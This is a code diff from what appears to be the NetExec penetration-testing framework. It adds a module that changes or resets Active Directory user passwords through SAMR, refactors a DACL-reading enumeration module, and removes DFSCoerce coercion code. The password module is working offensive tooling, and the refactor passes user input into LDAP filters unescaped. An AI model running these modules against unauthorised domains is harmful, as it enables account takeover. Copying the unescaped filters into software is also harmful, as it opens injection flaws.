+from impacket.dcerpc.v5 import samr, epm
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
+
+
+class NXCModule:
+    """
+    Module for changing or resetting user passwords
+    Module by Fagan Afandiyev, termanix and NeffIsBack
+    """
+
+    name = "change-password"
+    description = "Change or reset user passwords via various protocols"
+    supported_protocols = ["smb"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def options(self, context, module_options):
+        """
+        Required (one of):
+        NEWPASS     The new password of the user.
+        NEWNTHASH   The new NT hash of the user.
+
+        Optional:
+        USER        The user account if the target is not the current user.
+
+        Examples
+        --------
+        If STATUS_PASSWORD_MUST_CHANGE, STATUS_PASSWORD_EXPIRED or STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (Change password for current user)
+            netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
+            netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
+
+        If want to change other user's password (with forcechangepassword priv or admin rights)
+            netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
+            netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
+        """
+        self.newpass = module_options.get("NEWPASS")
+        self.newhash = module_options.get("NEWNTHASH")
+        self.target_user = module_options.get("USER")
+
+        if not self.newpass and not self.newhash:
+            context.log.fail("Either NEWPASS or NEWNTHASH is required!")
+            sys.exit(1)
+
+    def authenticate(self, context, connection, protocol, anonymous=False):
+        # Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
+        try:
+            if anonymous:
+                string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
+                dce = NXCRPCConnection(connection).connect(
+                    None,
+                    samr.MSRPC_UUID_SAMR,
+                    string_binding=string_binding,
+                    set_remote_host=connection.host,
+                    anonymous_rpc=True,
+                )
+                context.log.info("Connecting with null session credentials.")
+            else:
+                dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
+                context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
+
+            context.log.info("[+] Successfully connected to DCE/RPC")
+            context.log.info("[+] Successfully bound to SAMR")
+            return dce
+        except DCERPCException as e:
+            context.log.fail(f"DCE/RPC Exception: {e!s}")
+            raise
+
+    def on_login(self, context, connection):
+        self.context = context
+        target_username = self.target_user or connection.username
+        target_domain = connection.domain
+
+        # Grab all creds from the connection to use for authentication
+        self.oldpass = connection.password
+        self.oldhash = connection.nthash
+
+        new_lmhash, new_nthash = "", ""
+
+        # Parse new hash values if provided
+        if self.newhash:
+            try:
+                new_lmhash, new_nthash = self.newhash.split(":")
+            except ValueError:
+                new_nthash = self.newhash
+
+        try:
+            self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
+        except Exception as e:
+            # Handle specific errors like password expiration or must be change
+            if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
+                context.log.warning("Password must be changed. Trying with null session.")
+                self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
+            elif "STATUS_LOGON_FAILURE" in str(e):
+                context.log.fail("Authentication failure: wrong credentials.")
+                return False
+            else:
+                raise
+
+        try:
+            # Perform the SMB SAMR password change
+            self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
+
+            # Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
+            user = self.context.db.get_user(target_domain, target_username)
+            user_ids = [row[0] for row in user]
+            self.context.db.remove_credentials(user_ids)
+
+            # Store the new credentials in the database
+            if new_nthash:
+                self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
+            else:
+                self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
+        except Exception as e:
+            if "STATUS_ACCESS_DENIED" in str(e):
+                self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}")
+            elif "STATUS_NONE_MAPPED" in str(e):
+                self.context.log.fail(f"User '{target_username}' not found or not resolvable")
+            else:
+                context.log.fail(f"SMB-SAMR password change failed: {e}")
+        finally:
+            self.dce.disconnect()
+
+    def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
+        # Reset the password for a different user
+        if target_username != connection.username:
+            user_handle = self._hSamrOpenUser(connection, target_username)
+            samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
+            context.log.success(f"Successfully changed password for {target_username}")
+        else:
+            # Change password for the current user
+            if newPassword:
+                # Change the password with new password
+                samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
+            else:
+                # Change the password with new hash
+                user_handle = self._hSamrOpenUser(connection, target_username)
+                samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
+                context.log.highlight("Note: Target user must change password at next logon.")
+            context.log.success(f"Successfully changed password for {target_username}")
+
+    def _hSamrOpenUser(self, connection, username):
+        """Connect to the target server and retrieve the user handle"""
+        server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
+        domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
+        domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
+        user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
+        return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]

nxc/modules/daclread.py

@@ -1,16 +1,17 @@
 import binascii
-import codecs
 import json
-import re
 import datetime
 from enum import Enum
 from impacket.ldap import ldaptypes
+from impacket.ldap.ldapasn1 import SDFlagsControl
 from impacket.uuid import bin_to_string
+from nxc.helpers.misc import CATEGORY
 from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
-from ldap3.protocol.formatters.formatters import format_sid
-from ldap3.utils.conv import escape_filter_chars
-from ldap3.protocol.microsoft import security_descriptor_control
+from nxc.parsers.ldap_results import parse_result_attributes
 import sys
+import traceback
+from os.path import isfile
+
 
 OBJECT_TYPES_GUID = {}
 OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -65,7 +66,7 @@ WELL_KNOWN_SIDS = {
     "S-1-5-64-14": "SChannel Authentication",
     "S-1-5-64-21": "Digest Authority",
     "S-1-5-80": "NT Service",
-    "S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
+    "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
     "S-1-16-0": "Untrusted Mandatory Level",
     "S-1-16-4096": "Low Mandatory Level",
     "S-1-16-8192": "Medium Mandatory Level",
@@ -74,24 +75,24 @@ WELL_KNOWN_SIDS = {
     "S-1-16-16384": "System Mandatory Level",
     "S-1-16-20480": "Protected Process Mandatory Level",
     "S-1-16-28672": "Secure Process Mandatory Level",
-    "S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
-    "S-1-5-32-555": "BUILTIN\Remote Desktop Users",
-    "S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
+    "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
+    "S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
+    "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
     "S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
-    "S-1-5-32-558": "BUILTIN\Performance Monitor Users",
-    "S-1-5-32-559": "BUILTIN\Performance Log Users",
-    "S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
-    "S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
-    "S-1-5-32-562": "BUILTIN\Distributed COM Users",
-    "S-1-5-32-569": "BUILTIN\Cryptographic Operators",
-    "S-1-5-32-573": "BUILTIN\Event Log Readers",
-    "S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
-    "S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
-    "S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
-    "S-1-5-32-577": "BUILTIN\RDS Management Servers",
-    "S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
-    "S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
-    "S-1-5-32-580": "BUILTIN\Remote Management Users",
+    "S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
+    "S-1-5-32-559": "BUILTIN\\Performance Log Users",
+    "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
+    "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
+    "S-1-5-32-562": "BUILTIN\\Distributed COM Users",
+    "S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
+    "S-1-5-32-573": "BUILTIN\\Event Log Readers",
+    "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
+    "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
+    "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
+    "S-1-5-32-577": "BUILTIN\\RDS Management Servers",
+    "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
+    "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
+    "S-1-5-32-580": "BUILTIN\\Remote Management Users",
 }
 
 
@@ -188,27 +189,40 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
     Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
 
 
+SEARCH_FILTERS = {
+    "TARGET": lambda target: f"(sAMAccountName={target})",
+    "TARGET_DN": lambda target: f"(distinguishedName={target})"
+}
+
+
 class NXCModule:
     """Module to read and backup the Discretionary Access Control List of one or multiple objects.
 
     This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
     It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
-    It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
+    It could be interesting to implement the write/remove functions here.
     """
 
     name = "daclread"
     description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
+    category = CATEGORY.ENUMERATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
         self.module_options = module_options
 
+        # Initialize module variables
+        self.principal_sAMAccountName = None
+        self.principal_sid = None
+        self.action = "read"
+        self.ace_type = "allowed"
+        self.rights = None
+        self.rights_guid = None
+
     def options(self, context, module_options):
         """
-        Be careful, this module cannot read the DACLS recursively. 
+        Be careful, this module cannot read the DACLS recursively.
         For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
 
         TARGET          The objects that we want to read or backup the DACLs, specified by its SamAccountName
@@ -221,220 +235,140 @@ class NXCModule:
 
         Based on the work of @_nwodtuhs and @BlWasp_.
         """
-        self.context = context
-
         context.log.debug(f"module_options: {module_options}")
 
         if not module_options:
             context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
             sys.exit(1)
 
-        if module_options and "TARGET" in module_options:
-            context.log.debug("There is a target specified!")
-            if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
-                try:
-                    self.target_file = open(module_options["TARGET"])  # noqa: SIM115
-                    self.target_sAMAccountName = None
-                except Exception:
-                    context.log.fail("The file doesn't exist or cannot be openned.")
-            else:
-                context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
-                self.target_sAMAccountName = module_options["TARGET"]
-                self.target_file = None
-            self.target_DN = None
+        self.targets = []
         self.target_SID = None
-        if module_options and "TARGET_DN" in module_options:
-            self.target_DN = module_options["TARGET_DN"]
-            self.target_sAMAccountName = None
-            self.target_file = None
 
-        if module_options and "PRINCIPAL" in module_options:
+        for option in "TARGET", "TARGET_DN":
+            if option in module_options:
+                context.log.debug("There is a target specified!")
+                if isfile(module_options[option]):
+                    try:
+                        with open(module_options[option]) as target_file:
+                            for line in target_file:
+                                context.log.debug(f"Adding target from file: {line}")
+                                self.targets.append((line.strip(), SEARCH_FILTERS[option]))
+                    except Exception:
+                        context.log.fail("The file doesn't exist or cannot be opened.")
+                else:
+                    context.log.debug(f"Adding target: {module_options[option]}")
+                    self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
+
+        if not self.targets:
+            context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
+            sys.exit(1)
+
+        if "PRINCIPAL" in module_options:
             self.principal_sAMAccountName = module_options["PRINCIPAL"]
-        else:
-            self.principal_sAMAccountName = None
-        self.principal_sid = None
 
-        if module_options and "ACTION" in module_options:
+        if "ACTION" in module_options:
             self.action = module_options["ACTION"]
-        else:
-            self.action = "read"
-        if module_options and "ACE_TYPE" in module_options:
+
+        if "ACE_TYPE" in module_options:
             self.ace_type = module_options["ACE_TYPE"]
-        else:
-            self.ace_type = "allowed"
-        if module_options and "RIGHTS" in module_options:
+
+        if "RIGHTS" in module_options:
             self.rights = module_options["RIGHTS"]
-        else:
-            self.rights = None
-        if module_options and "RIGHTS_GUID" in module_options:
+
+        if "RIGHTS_GUID" in module_options:
             self.rights_guid = module_options["RIGHTS_GUID"]
-        else:
-            self.rights_guid = None
-        self.filename = None
 
     def on_login(self, context, connection):
         """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
         context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
-        self.baseDN = connection.ldapConnection._baseDN
-        self.ldap_session = connection.ldapConnection
+        self.context = context
+        self.connection = connection
 
         # Searching for the principal SID
         if self.principal_sAMAccountName is not None:
-            _lookedup_principal = self.principal_sAMAccountName
             try:
-                self.principal_sid = format_sid(
-                    self.ldap_session.search(
-                        searchBase=self.baseDN,
-                        searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
-                        attributes=["objectSid"],
-                    )[0][1][0][1][0]
+                resp = connection.search(
+                    searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
+                    attributes=["objectSid"],
                 )
+                resp_parsed = parse_result_attributes(resp)[0]
+                self.principal_sid = resp_parsed["objectSid"]
                 context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
-            except Exception:
-                context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
-                sys.exit(1)
+            except Exception as e:
+                context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
+                context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
+                return
 
         # Searching for the targets SID and their Security Descriptors
-        # If there is only one target
-        if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
-            # Searching for target account with its security descriptor
+        for target, search_filter in self.targets:
             try:
-                self.search_target_principal_security_descriptor(context, connection)
+                # Searching for target account with its security descriptor
+                resp = connection.search(
+                    searchFilter=search_filter(target),
+                    attributes=["distinguishedName", "nTSecurityDescriptor"],
+                    searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
+                )
+                resp_parsed = parse_result_attributes(resp)[0]
+
                 # Extract security descriptor data
-                self.target_principal_dn = self.target_principal[0]
-                self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
-                self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
-                context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
-            except Exception:
-                context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
-                sys.exit(1)
+                target_principal_dn = resp_parsed["distinguishedName"]
+                principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
+                principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
+                context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
+            except Exception as e:
+                context.log.fail(f"Target SID not found in LDAP ({target})")
+                context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
+                continue
 
             if self.action == "read":
-                self.read(context)
+                self.read(principal_security_descriptor)
             if self.action == "backup":
-                self.backup(context)
-
-        # If there are multiple targets
-        else:
-            targets = self.target_file.readlines()
-            for target in targets:
-                try:
-                    self.target_sAMAccountName = target.strip()
-                    # Searching for target account with its security descriptor
-                    self.search_target_principal_security_descriptor(context, connection)
-                    # Extract security descriptor data
-                    self.target_principal_dn = self.target_principal[0]
-                    self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
-                    self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
-                    context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
-                except Exception:
-                    context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
-                    continue
-
-                if self.action == "read":
-                    self.read(context)
-                if self.action == "backup":
-                    self.backup(context)
+                self.backup(target, target_principal_dn, principal_raw_security_descriptor)
 
     # Main read funtion
     # Prints the parsed DACL
-    def read(self, context):
-        parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
-        self.print_parsed_dacl(context, parsed_dacl)
+    def read(self, principal_security_descriptor):
+        parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
+        self.print_parsed_dacl(parsed_dacl)
 
     # Permits to export the DACL of the targets
     # This function is called before any writing action (write, remove or restore)
-    def backup(self, context):
+    def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
         backup = {}
-        backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
-        backup["dn"] = str(self.target_principal_dn)
-        if not self.filename:
-            self.filename = "dacledit-{}-{}.bak".format(
-                datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
-                self.target_sAMAccountName,
-            )
-        with codecs.open(self.filename, "w", "latin-1") as outfile:
+        backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
+        backup["dn"] = str(target_principal_dn)
+
+        timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
+        filename = f"dacledit-{timestamp}-{target}.bak"
+        with open(filename, "w", encoding="latin-1") as outfile:
             json.dump(backup, outfile)
-        context.log.highlight("DACL backed up to %s", self.filename)
-        self.filename = None
+        self.context.log.highlight(f"DACL backed up to {filename}")
 
-    # Attempts to retrieve the DACL in the Security Descriptor of the specified target
-    def search_target_principal_security_descriptor(self, context, connection):
-        _lookedup_principal = ""
-        # Set SD flags to only query for DACL
-        controls = security_descriptor_control(sdflags=0x04)
-        if self.target_sAMAccountName is not None:
-            _lookedup_principal = self.target_sAMAccountName
-            target = self.ldap_session.search(
-                searchBase=self.baseDN,
-                searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
-                attributes=["nTSecurityDescriptor"],
-                searchControls=controls,
-            )
-        if self.target_DN is not None:
-            _lookedup_principal = self.target_DN
-            target = self.ldap_session.search(
-                searchBase=self.baseDN,
-                searchFilter=f"(distinguishedName={_lookedup_principal})",
-                attributes=["nTSecurityDescriptor"],
-                searchControls=controls,
-            )
-        try:
-            self.target_principal = target[0]
-        except Exception:
-            context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
-            sys.exit(0)
-
-    # Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
-    # Not used for the moment
-    #   - samname : a sAMAccountName
-    def get_user_info(self, context, samname):
-        self.ldap_session.search(
-            searchBase=self.baseDN,
-            searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
-            attributes=["objectSid"],
-        )
-        try:
-            dn = self.ldap_session.entries[0].entry_dn
-            sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
-            return dn, sid
-        except Exception:
-            context.log.fail(f"User not found in LDAP: {samname}")
-            return False
-
-    # Attempts to resolve a SID and return the corresponding samaccountname
-    #   - sid : the SID to resolve
-    def resolveSID(self, context, sid):
+    def resolveSID(self, sid):
+        """Resolves a SID to its corresponding sAMAccountName."""
         # Tries to resolve the SID from the well known SIDs
         if sid in WELL_KNOWN_SIDS:
             return WELL_KNOWN_SIDS[sid]
+
         # Tries to resolve the SID from the LDAP domain dump
-        else:
-            try:
-                self.ldap_session.search(
-                    searchBase=self.baseDN,
-                    searchFilter=f"(objectSid={sid})",
-                    attributes=["sAMAccountName"],
-                )[0][0]
-                return self.ldap_session.search(
-                    searchBase=self.baseDN,
-                    searchFilter=f"(objectSid={sid})",
-                    attributes=["sAMAccountName"],
-                )[0][1][0][1][0]
-            except Exception:
-                context.log.debug(f"SID not found in LDAP: {sid}")
-                return ""
+        try:
+            resp = self.connection.search(
+                searchFilter=f"(objectSid={sid})",
+                attributes=["sAMAccountName"],
+            )
+            return parse_result_attributes(resp)[0]["sAMAccountName"]
+        except Exception:
+            self.context.log.debug(f"SID not found in LDAP: {sid}")
+            return ""
 
     # Parses a full DACL
     #   - dacl : the DACL to parse, submitted in a Security Desciptor format
-    def parse_dacl(self, context, dacl):
+    def parse_dacl(self, dacl):
         parsed_dacl = []
-        context.log.debug("Parsing DACL")
-        i = 0
+        self.context.log.debug("Parsing DACL")
         for ace in dacl["Data"]:
-            parsed_ace = self.parse_ace(context, ace)
+            parsed_ace = self.parse_ace(ace)
             parsed_dacl.append(parsed_ace)
-            i += 1
         return parsed_dacl
 
     # Parses an access mask to extract the different values from a simple permission
@@ -448,7 +382,7 @@ class NXCModule:
 
     # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
     #   - ace : the ACE to parse
-    def parse_ace(self, context, ace):
+    def parse_ace(self, ace):
         # For the moment, only the Allowed and Denied Access ACE are supported
         if ace["TypeName"] in [
             "ACCESS_ALLOWED_ACE",
@@ -463,7 +397,7 @@ class NXCModule:
             # Extracts the access mask (by parsing the simple permissions) and the principal's SID
             if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
                 access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
-                trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
+                trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
                 parsed_ace = {
                     "Access mask": access_mask,
                     "Trustee (SID)": trustee_sid
@@ -490,12 +424,9 @@ class NXCModule:
                     except KeyError:
                         parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
                 # Extract the Trustee SID (the object that has the right over the DACL bearer)
-                parsed_ace["Trustee (SID)"] = "{} ({})".format(
-                    self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
-                    ace["Ace"]["Sid"].formatCanonical(),
-                )
+                parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
         else:  # if the ACE is not an access allowed
-            context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
+            self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
             _ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
             parsed_ace = {
                 "ACE type": ace["TypeName"],
@@ -504,18 +435,19 @@ class NXCModule:
             }
         return parsed_ace
 
-    def print_parsed_dacl(self, context, parsed_dacl):
+    def print_parsed_dacl(self, parsed_dacl):
         """Prints a full DACL by printing each parsed ACE
-        
+
         parsed_dacl : a parsed DACL from parse_dacl()
         """
-        context.log.debug("Printing parsed DACL")
-        i = 0
+        self.context.log.debug("Printing parsed DACL")
         # If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
         # If an ACE type has been specified, only the ACE with this type will be specified
         # If a principal has been specified, only the ACE where he is the trustee will be printed
-        for parsed_ace in parsed_dacl:
+        for i, parsed_ace in enumerate(parsed_dacl):
             print_ace = True
+            self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
+
             # Filter on specific rights
             if self.rights is not None:
                 try:
@@ -528,7 +460,7 @@ class NXCModule:
                     if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on specific right GUID
             if self.rights_guid is not None:
@@ -536,7 +468,7 @@ class NXCModule:
                     if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on ACE type
             if self.ace_type == "allowed":
@@ -544,13 +476,13 @@ class NXCModule:
                     if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
             else:
                 try:
                     if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on trusted principal
             if self.principal_sid is not None:
@@ -558,18 +490,17 @@ class NXCModule:
                     if self.principal_sid not in parsed_ace["Trustee (SID)"]:
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
             if print_ace:
-                self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
+                self.context.log.highlight(f"ACE[{i}] info")
                 self.print_parsed_ace(parsed_ace)
-            i += 1
 
     # Prints properly a parsed ACE
     #   - parsed_ace : a parsed ACE from parse_ace()
     def print_parsed_ace(self, parsed_ace):
         elements_name = list(parsed_ace.keys())
         for attribute in elements_name:
-            self.context.log.highlight("    %-26s: %s" % (attribute, parsed_ace[attribute]))
+            self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
 
     # Retrieves the GUIDs for the specified rights
     def build_guids_for_rights(self):

nxc/modules/dfscoerce.py

@@ -1,18 +1,11 @@
-from impacket import system_errors
-from impacket.dcerpc.v5 import transport
-from impacket.dcerpc.v5.ndr import NDRCALL
-from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
-from impacket.dcerpc.v5.rpcrt import DCERPCException
-from impacket.uuid import uuidtup_to_bin
-from nxc.logger import nxc_logger
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
     name = "dfscoerce"
-    description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
+    description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.PRIVILEGE_ESCALATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -26,117 +19,4 @@ class NXCModule:
             self.listener = module_options["LISTENER"]
 
     def on_login(self, context, connection):
-        trigger = TriggerAuth()
-        dce = trigger.connect(
-            username=connection.username,
-            password=connection.password,
-            domain=connection.domain,
-            lmhash=connection.lmhash,
-            nthash=connection.nthash,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            doKerberos=connection.kerberos,
-            dcHost=connection.kdcHost,
-            aesKey=connection.aesKey,
-        )
-
-        if dce is not None:
-            context.log.debug("Target is vulnerable to DFSCoerce")
-            trigger.NetrDfsRemoveStdRoot(dce, self.listener)
-            context.log.highlight("VULNERABLE")
-            context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
-            dce.disconnect()
-
-        else:
-            context.log.debug("Target is not vulnerable to DFSCoerce")
-
-
-class DCERPCSessionError(DCERPCException):
-    def __init__(self, error_string=None, error_code=None, packet=None):
-        DCERPCException.__init__(self, error_string, error_code, packet)
-
-    def __str__(self):
-        key = self.error_code
-        if key in system_errors.ERROR_MESSAGES:
-            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
-            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
-            return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
-        else:
-            return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
-
-
-################################################################################
-# RPC CALLS
